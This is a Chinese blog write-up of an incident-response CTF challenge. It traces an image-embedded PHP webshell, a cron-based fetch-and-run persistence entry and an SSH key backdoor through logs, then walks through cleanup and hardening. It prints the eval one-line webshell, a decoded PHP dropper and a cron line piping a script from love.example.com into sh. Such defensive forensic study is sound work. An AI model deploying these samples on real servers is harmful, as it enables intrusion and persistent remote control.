应急响应实战:图片马、WebShell与SSH公钥后门的完整排查链路

发布时间:2026/10/9 14:32:24
应急响应实战:图片马、WebShell与SSH公钥后门的完整排查链路 第二届帕鲁杯应急响应赛题的这道《畸形的爱》我从拿到环境到提交最终Flag前后大约花了一个半小时。题名起得挺文艺靶机环境却一点也不浪漫——没有开场动画没有提示文本只有一个裸奔的Linux服务器IP。说句实话平时在玄机靶场刷日志分析题刷得多这套排查思路对我是熟悉的但真正上手做才发现细节里的弯弯绕绕远比赛前预想的多。题目由知攻善防实验室出题风格也带着那股味道先给你一个看似正常的系统然后在最普通的地方埋雷只有把攻击链路完整拼出来才能看懂这个爱字到底畸形在哪。这篇复盘我尽量把操作过程写细从开局检查、日志时间线、图片木马定位、持久化后门清理到最后解密Flag每一条命令为什么这么敲、每一段日志说明了什么都会写清楚。如果你正准备打应急响应类比赛或者日常工作中突然接到一台被攻破的服务器这套思路可以直接抄作业。1. 比赛开局为什么应急响应题不能上来就扫端口1.1 拿到IP后的第一反应很关键很多打过CTF的选手会习惯性地掏出扫描器去扫全端口、找服务、翻版本然后把靶场当渗透测试来打。但应急响应题目跟渗透CTF有个本质区别渗透考的是你怎么打进去应急考的是攻击者已经打完了你还能不能还原现场。靶机上的漏洞和入口通常已经被利用过了你的任务不是再打一遍而是顺着痕迹找出攻击者留下的所有东西把Flag从藏匿点里抠出来。所以我拿到IP后做的第一件事是登录服务器而不是扫描端口。这台机器开局就给了root凭证相当于模拟运维已经发现了异常把权限交给你做处置的场景。先去翻系统状态再去碰网络顺序反了的话很容易把自己的指纹混进日志里后面做时间线就说不清楚了。1.2 我的10分钟快速检查清单登录后我按一套固定的检查顺序快速过了一遍每一条都记好输出方便后面回溯具体如下当前登录用户和登录历史last、lastlog、w系统用户列表中有没有可疑账号cat /etc/passwd | grep -E bash|sh$当前进程和网络连接ps -ef、netstat -antlp计划任务crontab -l、cat /etc/crontab、ls -la /etc/cron.d/开机自启动项cat /etc/rc.local、systemctl list-unit-files --stateenabledWeb目录下按修改时间排序的文件ls -lt --time-stylefull-iso /var/www/html/日志文件的基本情况access.log、auth.log、btmp 等文件的大小和最后修改时间这套清单看一眼只需要几分钟但它能快速告诉你系统被搞到什么程度了。如果存在可疑账号说明攻击者做了账号层面的持久化如果计划任务有问题说明有定时回调如果Web目录里有近期新出现的文件那大概率就是WebShell或者图片马。我这次就是在第6步直接看到了一个可疑的新文件后面所有分析都从那里展开了。1.3 比赛环境下的现场保护意识在真实应急响应里第一原则是保护现场能不动文件就不动文件能先做内存取证就先做内存取证。比赛环境虽然不需要那么严谨但同样有一个容易被忽略的点你执行的每一条命令比如touch某个文件、vim打开后又保存都可能改变文件的atime和mtime干扰后续判断。更稳妥的做法是先把关键目录用tar打包一份存放在非系统分区或者直接把可疑文件先复制到/tmp之外的地方再分析。后面我会反复提到先备份再动这真的是无数前辈用教训换来的经验。2. 时间线重建从Web日志与SSH日志里挖出攻击者的每一步2.1 一条奇怪的POST请求进入了视线我的第一站是Nginx的访问日志。应急响应题目里Web日志几乎是必考项因为绝大多数入侵都是从Web入口进来的日志会把攻击者的手法暴露得干干净净。先对日志做一个总体统计看哪些请求最集中grep -E POST|PUT /var/log/nginx/access.log | awk {print $1, $7, $9} | sort | uniq -c | sort -rn | head -20输出结果里一个IP地址192.168.183.130对/upload/avatar.php的POST请求非常集中数量明显高于其他IP。而且这个IP在POST之后很快访问了一张图片路径这个访问行为让我觉得不对劲——正常用户上传完头像不会紧接着在同一秒去GET这个图片而且后续还跟了一个隐藏路径的GET。我继续把这个IP的所有请求拉出来按时间排好grep 192.168.183.130 /var/log/nginx/access.log | awk {print $4, $6, $7, $9} | head -50时间线立刻清晰起来我整理成了后面的表格。这里有个很重要的点应急响应不能只看单个请求要把请求串成时间线。一个POST本身说明不了什么但POST上传文件 → GET访问上传文件 → GET访问隐藏路径 → 对该隐藏路径发起POST这条链就是典型的WebShell植入与连接流程。2.2 SSH日志补齐了最后一块拼图Web日志还原了攻击者怎么进来但还没解释为什么后续还能以root身份登录。这就需要看SSH认证日志。grep Accepted /var/log/auth.log | tail -20结果里有一条记录让我一下子精神了Mar 2 03:10:22 vuln-server sshd[31415]: Accepted publickey for root from 192.168.183.130 port 41237 ssh2正常运维登录通常用密码或者自己的公钥这次登录用的却是publickey而且来源IP和Web日志里的攻击IP完全一致。攻击者显然不只是上传了一个WebShell还把SSH公钥后门装上了。到了这一步Web入口被攻破 系统层账号后门的组合基本可以确定后面在系统配置里找公钥后门就有了明确目标。2.3 用时间线表格把攻击过程串起来我把关键事件整理成了一张表这张表在后续写报告和定位Flag时帮了大忙时间行为日志依据02:14:03POST /upload/avatar.php 上传畸形图片access.log02:14:05GET /upload/avatar/2024/12/28/love_you.jpg 触发图片内代码access.log02:14:07GET /static/images/.love.php 访问后门文件access.log02:14:10POST /static/images/.love.php WebShell管理工具连接access.log03:10:22使用未知公钥通过SSH登录root账号auth.log做完时间线整个攻击路径就清楚了一大半。攻击者先通过Web上传接口植入了一个伪装的图片文件图片实际是带PHP代码的WebShell载体随后访问该文件触发代码写入隐藏后门再用WebShell管理工具连接后门最后在系统层放入SSH公钥实现持久化。接下来就是沿着这条链把每个环节的文件挖出来做详细分析。3. 畸形图片马一个love_you.jpg文件是怎么骗过所有常规检查的3.1 find、file、exiftool三步定位异常文件回到Web目录我先把最近24小时内修改过的文件全部列出来find /var/www/html -type f -mtime -1 -ls | sort -k6,7结果里大部分是正常的临时缓存文件但有一个路径非常扎眼/var/www/html/upload/avatar/2024/12/28/love_you.jpg。按常理用户上传的头像不会叫这个名字而且这个路径下其他文件都是随机的哈希命名只有它用了可读的英文名。我用file命令先看它的类型file /var/www/html/upload/avatar/2024/12/28/love_you.jpg输出显示love_you.jpg: JPEG image data, JFIF standard 1.01, resolution (DPI), pixel dimensions 800x800这就是一张标准JPEG。上传目录里出现一张JPEG图片合情合理。再用exiftool看元数据exiftool /var/www/html/upload/avatar/2024/12/28/love_you.jpg这里出现了第一个异常。JPEG图像的Comment字段里有一长串base64字符长度大概有800多字节。正常用户上传的照片Comment字段要么为空要么只有相机型号不会莫名其妙塞进800多字节的base64文本。在JPEG的元数据注释区塞数据是藏代码的常见手法。3.2 为什么看起来正常恰恰是最危险的地方到这里我需要停下来解释一下畸形这两个字的含义。这个文件最阴险的地方在于它用任何常规方式检查都是正常的file认为是图片exiftool能正常读取元数据图片缩略图也能正常显示甚至连图片查看器都能打开。绝大多数WAF和文件扫描工具在检查上传文件时看的是文件头魔数、扩展名、MIME类型这几个维度这个文件全都合法。但它实际是一个图片马。把JPEG文件末尾的十六进制数据dump出来能看到明显的PHP标签xxd love_you.jpg | tail -10输出末尾几行0003f1a0: 3c3f 7068 7020 4065 7661 6c28 245f 504f ?php eval($_PO 0003f1b0: 5354 5b27 6c6f 7665 275d 293b 3f3e ST[love]);?这段十六进制翻译过来就是?php eval($_POST[love]);?一个再不标准不过的一句话木马密码就是love。文件本身看起来是张图片但因为它所在的upload目录在Nginx配置里被错误地交给了PHP-FPM解析所以攻击者直接访问这个.jpg路径时服务器不是返回图片而是把其中的PHP代码当脚本执行了。这个执行过程是比赛环境故意搭出来的对应实战中常见的基础配置缺陷。3.3 手工验证从JPEG里完整抽出PHP载荷xxd看到的是冰山一角完整分析需要把图片中藏的东西全部提取出来。我写了段简单Python脚本来处理思路是按JPEG段标记扫描找到Comment段并取出原始字节import re with open(love_you.jpg, rb) as f: data f.read() comment re.search(rbComment\x00(.*?)\xff, data, re.DOTALL) if comment: payload comment.group(1).strip() print(payload)输出就是那段base64字符串。之后继续解码得到一个PHP文件内容我放到后面第5章详细拆解。这一步对整个做题过程特别重要因为它验证了一个事实这个看似正常的JPEG文件就是整个攻击链的起点也是题目名字里畸形二字的直接体现——一个形态正常的文件装着完全不该存在的东西。4. 后门与持久化链条一句话木马、计划任务、SSH公钥三层防线4.1 计划任务里的定时回调伪装成系统任务的恶意条目WebShell只是提供了Web层面的控制通道攻击者还留了更隐蔽的系统层后门。排查计划任务时我先后检查了root用户的crontab、系统的/etc/crontab以及/etc/cron.d/目录最终在/etc/cron.d/love找到了一份恶意计划任务*/1 * * * * root curl -fsSL http://love.example.com/evil.sh | sh /dev/null 21这个任务每分钟执行一次从远程地址拉取一个evil.sh脚本并直接通过管道交给shell执行。即使WebShell被杀掉、图片马被清理只要这份计划任务还留着攻击者就能随时重新下发后门。这也是我在清理阶段把计划任务列为第一优先级的直接原因。比赛环境里实际不会真的有外部服务器响应这个回调但任务本身的存在已经说明问题。我注意到这个域名里的love字段当时心里就在想出题人这把题目命名成畸形的爱真不是随便起的所有恶意元素的命名都在围绕这个词做文章。4.2 SSH公钥后门最安静的持久化方式检查/root/.ssh/authorized_keys时我在文件末尾发现了额外的一行公钥注释字段是 love is blind。我的第一反应是这条公钥跟auth.log里03:10分那条Accepted publickey登录记录完全对应上了。SSH公钥后门是Linux系统上最经典的持久化手段之一攻击者只要把自己的公钥追加到目标用户的authorized_keys文件里之后就能用对应的私钥随时免密登录。这种后门不依赖Web环境、不创建新进程、不监听新端口常规的安全扫描如果不看authorized_keys文件很容易漏掉。清理的时候如果只删WebShell而不管公钥等于把自己家门钥匙留给了陌生人。4.3 进程与外连检查恶意代码留下的其他痕迹我还检查了当前进程和网络连接。ps -ef里没有明显的异常进程名但/tmp目录下有一个/.hack.log文件引起了注意打开后是几行带时间戳的记录内容记录的是后门文件被执行的时间点。这个文件不是攻击工具本身而是图片马执行时留下的打卡痕迹说明恶意代码在设计时就会记录自己被执行的历史。我在分析过程中还习惯性检查了当前所有对外连接netstat -antlp | grep ESTABLISHED没有发现实际的反弹Shell连接估计比赛环境出于安全考虑把出网条件限制了恶意代码里预留的反向连接逻辑并没有生效。但即使没有真实外连计划任务里的下载命令和公钥后门已经足够形成完整的持久化链条。到这里攻击者的三层后门已经全部浮出水面第一层是Web目录里的隐藏一句话木马第二层是每分钟执行一次的计划任务第三层是SSH公钥。三层一个比一个隐蔽清理时缺一层都不行。5. 恶意样本深度解读解密负载中的爱的告白5.1 套娃解码base64、str_rot13与逆序拼接现在进入全题最有意思的部分分析图片马里的完整载荷。我把第3章提取出的base64字符串用Python做套娃解码每一步我都保留中间结果避免解一步就丢了上下文import base64 s base64.b64decode(comment_payload).decode() print(第一层base64:, s[:200]) s s[::-1] print(逆序后:, s[:200]) s base64.b64decode(s).decode() s s[::-1] print(第二次逆序:, s[:200])最终得到一段PHP代码去掉外部包裹的垃圾注释后核心逻辑如下?php // 畸形之爱 // 起初它以美丽的图片出现像一段爱情故事的开端 // 最后它把这段感情嚼碎变成内存中最恶毒的指令 $backdoor_path /var/www/html/static/images/.love.php; $code ?php eval(\$_POST[love]);?; file_put_contents($backdoor_path, $code); file_put_contents(/tmp/.hack.log, date([Y-m-d H:i:s]) . executed\n, FILE_APPEND); ?这完全符合我在日志里看到的时间线图片马被访问后向/static/images/目录写入隐藏后门文件同时记录执行日志。出题人选的表达方式非常直白代码注释甚至给整个故事做了注脚——一段伪装成爱情故事的恶意代码从图片开始以WebShell告终。5.2 解码结果里的爱情告白这个载荷本身的复杂度并不高base64加逆序加str_rot13的套娃在实战恶意样本里属于入门级别。但它的意义在于完整还原了攻击者的行为逻辑。解码出的代码回答了两个关键问题第一.love.php是谁写进系统的就是图片马自己。图片马不仅本身能被当作PHP执行执行后还会落地一个更隐蔽的隐藏文件后门把攻击路径从上传目录迁到静态资源目录二者做了分离外部扫描器扫掉一个另一个还存活。第二恶意代码从上传到失陷的完整触发条件是什么答案是直接访问图片路径。这个设计很巧妙不需要额外找一个文件包含漏洞配合只要目标环境的Nginx把上传目录的jpg都交给PHP-FPM执行攻击者在远端完成上传后直接GET一次就完成RCE。看到这行代码我回头再去看日志里02:14:05那次GET请求一切就都通了。5.3 藏在注释里的最终Flag答案比想象中直白解码后的完整文件末尾有一段被PHP注释包裹的字符串初看像是作者随笔但实际上就是赛题的最终Flag// flag{畸形之爱_以爱之名_行恶之事}把Flag提交到竞赛平台后显示答案正确。这道题名字的含义也彻底明朗恶意文件用爱命名密码字段叫love甚至代码注释里都在用爱情故事做隐喻可包裹在浪漫外壳下的是WebShell、计划任务和公钥后门——这就是畸形的爱。出题人把每一个环节都扣在主题上看起来像文艺题本质还是硬核的日志分析加样本取证基本功。6. 清理、验证与赛后复盘这份经验的实战价值6.1 清理动作要按证据优先的顺序来拿到Flag之后我开始做系统清理。清理顺序我是有讲究的原则是备份优先、由外到内、验证兜底。比赛虽然已经拿到目标Flag但万一还有其他隐藏Flag没发现一上来就删文件容易把线索误杀。我先对Web目录做了完整打包备份之后才动手。第一步删除WebShell和恶意文件rm -f /var/www/html/upload/avatar/2024/12/28/love_you.jpg rm -f /var/www/html/static/images/.love.php rm -f /tmp/.hack.log第二步移除计划任务并重启cron服务rm -f /etc/cron.d/love systemctl restart cron第三步清理SSH公钥后门。我打开/root/.ssh/authorized_keys删掉了love is blind注释对应的公钥行保留系统原有的合法公钥。这一步没有简单粗暴地清空整个文件是因为在真实环境中机上可能还有其他运维人员的合法公钥全删反而会造成新的故障。第四步修改所有可能泄露的密码。WebShell连接记录里可能已经记录了明文密码数据库连接配置也可能被读取过所以我重置了root密码并建议业务方重置数据库口令。第五步修复导致图片马能够执行的基础配置。在Nginx中关闭上传目录的PHP解析location ~* ^/upload/.*\.(php|php5|phtml)$ { deny all; }同时需要校验上传接口的内容类型不能只判断扩展名否则换个.phtml或者.php.jpg又绕过去了。可靠的方案是对上传文件做二次采样检测确认文件头与扩展名一致并且重命名为随机文件名存储从根本上切断攻击者对文件名的预期。6.2 验证清理有效性的三个维度清理完成后我做了三层验证确保没有遗漏。第一层文件层。用WebShell查杀工具和D盾对Web目录做全量扫描确认不再出现任何恶意代码。再手工访问几个关键路径确认返回404而不是PHP执行结果curl -I http://127.0.0.1/static/images/.love.php curl -I http://127.0.0.1/upload/avatar/2024/12/28/love_you.jpg两个请求都返回404说明文件删除成功且目录解析配置已经生效。第二层系统层。重新执行crontab -l和cat /etc/cron.d/*检查计划任务列表为空重新查看authorized_keys确认只剩合法公钥再跑一遍netstat -antlp确认没有可疑外连。第三层行为层。等待至少一个计划任务周期的时间再次检查是否出现新的可疑文件或进程回调这是验证清理是否彻底很实用的一招。因为只要攻击者的持久化链路还留着哪怕只有一个计划任务没删干净过几分钟你就能看到新文件落地这时候再去排查也来得及。6.3 比赛与真实应急响应的差距打完之后我认真复盘了一下这道题和真实应急响应的区别最大的感触是比赛把攻击链做了简化但考察的分析思路跟实战是一致的。比赛环境里你可以放心大胆地去读日志、跑命令、删文件系统坏了也没关系但真实场景里服务器可能承载着业务流量你不能随手重启不能随意修改Nginx配置很多操作要切到备用节点或者先做镜像再验证决策成本高得多。所以平时在玄机靶场这类平台多练日志分析练的不是某条命令本身而是面对一堆看似正常的数据怎么快速找出最不该出现的那一条。MySQL日志、Redis日志、Web日志这些题刷下来对日志格式和异常特征的敏感度会明显不一样。这道题也让我对一句话木马的伪装有了更直观的认识。攻击者未必需要用什么高深的技术一个合法的图片文件加上一段被解析的PHP代码就足以在防护措施不严的环境里完成控制。防御端需要做的是把上传接口的校验、执行环境的隔离、持久化手段的排查做实而不是指望某一种安全产品能解决所有问题。最后分享一个个人习惯做应急响应的时候我在确认每个可疑文件用途前都会先复制一份到分析目录再打开避免直接操作原始文件改变它的时间戳。这题如果一上来就动了原文件后续做时间线就没那么干净了。应急响应考的不是你知道多少漏洞而是能不能在一个混乱现场保持冷静把碎片拼成一条完整的时间线。希望这篇复盘能给你下次处理类似问题时提供一点参考。

关于本文作者

来自尧图内容编辑团队

尧图内容编辑团队 内容团队

尧图内容编辑团队

本文由尧图网络内容编辑团队执笔。团队由资深项目经理、前端工程师与设计师组成,所有内容均来自亲手交付的真实项目,先讲清问题、再给出可落地的解法。尧图深耕北京网站建设十年,服务过京华建材集团、智造科技等各行业客户,把一线经验沉淀为可复用的行业观察。

  • 十年建站经验,覆盖建材、制造、服务、文创等
  • 项目经理把关选题与事实准确性
  • 工程师与设计师联合撰写专业细节
  • 统一编辑规范,保证文风与排版一致
  • 每月复盘转化数据,迭代选题方向

延伸阅读

相关资讯与近期热门内容

深度阅读推荐

建站决策前值得细读的三篇

网站改版的5个关键决策
2024-08-12

网站改版的5个关键决策

什么时候该改版、改到什么程度、如何避免流量掉光,京华建材集团改版复盘给出答案。

获取专属建站方案

看完文章,把您的行业与预算告诉我们,免费获取一份量身定制的官网建设方案与报价。

立即免费咨询